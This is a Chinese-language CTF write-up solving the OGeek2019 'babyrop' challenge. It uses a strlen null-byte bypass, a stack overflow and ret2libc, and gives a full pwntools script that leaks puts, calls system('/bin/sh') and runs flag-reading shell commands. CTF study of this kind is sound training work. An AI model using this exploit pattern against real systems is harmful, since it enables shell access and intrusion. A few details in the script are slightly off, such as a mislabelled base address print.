1.Checksec & IDA Pro
地址随机化与NX
2.分析源码
主函数:
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0); //打开随机数文件
if ( fd > 0 )
read(fd, &buf, 4u); //读取一个随机生成的数,写入buf中
v2 = sub_804871F(buf); //buf同时又是sub_804871F的参数
sub_80487D0(v2); //buf[7]
return 0;
}
sub_804871F:
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1); //sprintf 将a1转换成字符串s,a1即为主函数中的buf,通过函数传参变为a1
v5 = read(0, buf, 0x20u); //读入字符串buf,v5是buf的长度
buf[v5 - 1] = 0; //v5 - 1,去掉末尾最后一个字符的长度
v1 = strlen(buf); //检测输入的字符串的长度,buf的新长度
if ( strncmp(buf, s, v1) ) //比较字符串,如果 buf ≠ s ,则程序直接执行exit函数退出。v1为长度
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7]; //将buf[7]传出,变成v2
}
sub_80487D0:
ssize_t __cdecl sub_80487D0(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
return read(0, buf, 0xC8u);
else
return read(0, buf, a1); //栈溢出漏洞,令 buf[7] , 也就是v2的ASCII码值尽可能大
}
分析完反汇编成C语言的程序源码后,就是常规的ret2libc了。
使用puts函数进行泄露真实地址
思路有了,接下来是构造PoC与Payload
由于本题是32位ELF,因此不需要rdi与ret栈对齐。
3.构造PoC
Payload 思路:
首先绕过 strlen
strlen 遇到 \x00会截断
payload_bypass = ( b'\x00' ) + ( b'\xff' * 7 )
\x00 用来绕过strlen 较大数 0xff 总共长度8,正好覆盖。使得v2的ASCII码值尽可能的大,因为主函数中的buf大小为 0xE7 ,也就是至少要比 240 大。不然栈溢出无法利用。
\为转义字符,'\xhh' 表示ASCII码值与'hh'这个十六进制数相等的符号。
'\xff'表示ASCII码值为255的符号。因此需要用到'\xff'
在上文中有一个点并未提到:buf[v5 - 1] = 0;
这里再次涉及到read函数:read是否读取字符串结尾的'\x00'。
如果不读取,则应该为 b'\xff' * 8
但是read函数是读取'\x00'的,因此不需要。
否则就是
payload_bypass = ( b'\x00' ) + ( b'\xff' * 8 )
buf的大小
b'A' * ( 0xE7 + 4 )
使用 0xE7 + 4 个A,溢出栈
E7 为 buf 大小
4 为32位系统地址长度
ROP
leak_plt = elf.plt['puts'] #获取puts的plt表地址
leak_got = elf.got['puts'] #获取puts的got表地址
main_addr = 0x8048825
payload_leak = ( b'A' * ( 0xE7 + 4 ) + p32(leak_plt) + p32(main_addr) + p32(puts_got) )
io.sendline(payload_leak)
real_addr = u32(io.recv(4))
完整PoC如下:
from pwn import *
from LibcSearcher import LibcSearcher
#from LibcSearcherX import *
#from libcfind import *
elf = ELF("/root/Desktop/PwnSubjects/OGeek2019babyrop")
libc = ELF("/root/Desktop/PwnExploits/Libc/libc-2.23.so")
#io = remote("node4.buuoj.cn",28200)
io = process("/root/Desktop/PwnSubjects/OGeek2019babyrop")
leak_plt = elf.plt['puts'] #获取puts的plt表地址
leak_got = elf.got['puts'] #获取puts的got表地址
#rdi_addr = 0x400c83 #用来传递参数的地址
#main_addr = elf.symbols['main'] #主函数的地址,用来返回执行第二次
main_addr = 0x8048825
#ret = 0x4006B9 #栈对齐
# 阶段1 泄露真实地址
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")
payload_bypass = ( b'\x00' ) + ( b'\xff' * 7 )
io.sendline(payload_bypass)
io.recvuntil("Correct\n")
print("[+] Payload to bypass : \n",(payload_bypass))
#payload_addr = flat( "a" * 0x58 ) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #需要输入0x58个a才能溢出栈,大小为0x50+0x08。rdi中存放了puts_got的真实地址,因为是64位程序,puts_plt表调用puts函数打引puts_got值。然后返回到main地址再执行一次程序,方便后续发送用来开启shell的payload
payload_leak = ( b'A' * ( 0xE7 + 0x04 ) + p32(leak_plt) + p32(main_addr) + p32(leak_got) )
io.sendline(payload_leak)
#io.sendline(payload_addr)
#puts_addr = u64(io.recv(6).ljust(8,b'\x00')) # 接收puts的真实地址
#write_addr = u32(io.recv(4))
real_addr = u32(io.recv(4))
print("[+] Payload to leak address : \n",(payload_leak))
#io.recvuntil('Input:\n')
#io.sendline(payload_leak)
#write_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("[+] Leacked.")
print(("[+] Real Address : "),hex(real_addr))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
# 阶段2 通过泄露的真实地址计算出system以及/bin/sh的地址
print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
#libc = LibcSearcher("write",write_addr)
# Dump Dump是给LibcSearcher用的
libc = LibcSearcher('puts',real_addr) #使用LibcSearcher在绝大部分libc中搜索puts的后3位地址
libcbase = real_addr - libc.dump('puts') #使用puts的真实地址作为基址
system = libcbase + libc.dump('system') #计算system与/bin/sh偏移值
bin_sh = libcbase + libc.dump('str_bin_sh')
# Sym Symbols 是LibcSearcherX的函数调用方式
#libc = LibcSearcherLocal("write",real_addr)
#libcbase = real_addr - libc.sym['write']
#system = libcbase + libc.sym['system']
#bin_sh = libcbase + libc.sym['str_bin_sh']
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
# 阶段3 打印各个地址
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(real_addr))
print("[+] Base Address: ",hex(real_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
# 阶段4 获取shell
#payload = ( flat( "a" * 0x58) + p64(ret) + p64(rdi_addr) + p64(bin_sh) + p64(system) )
payload_shell = ( b'A' * ( 0xE7 + 4 ) + p32(system) + p32(4) + p32(bin_sh) )
print("[+] Payload to got shell : \n",(payload_shell))
#io.sendlineafter("Input:\n",payload)
io.sendline(payload_bypass)
io.recvuntil("Correct\n")
io.sendline(payload_shell)
print("Successfully got shell , Automaticly searching system version.")
print("Got")
io.sendline(b"find '/flag.txt' -exec cat {} \;")
print("The")
io.sendline(b"find '/flag' -exec cat {} \;")
print("Damn")
io.sendline(b"find '/proc/version' -exec cat {} \;")
print("Shell!")
io.interactive()
成功本地获取shell。
选第一个libc
不知道为什么远程进不去,后来选择了不用LibcSearcher,用题目提供的Libc进去了。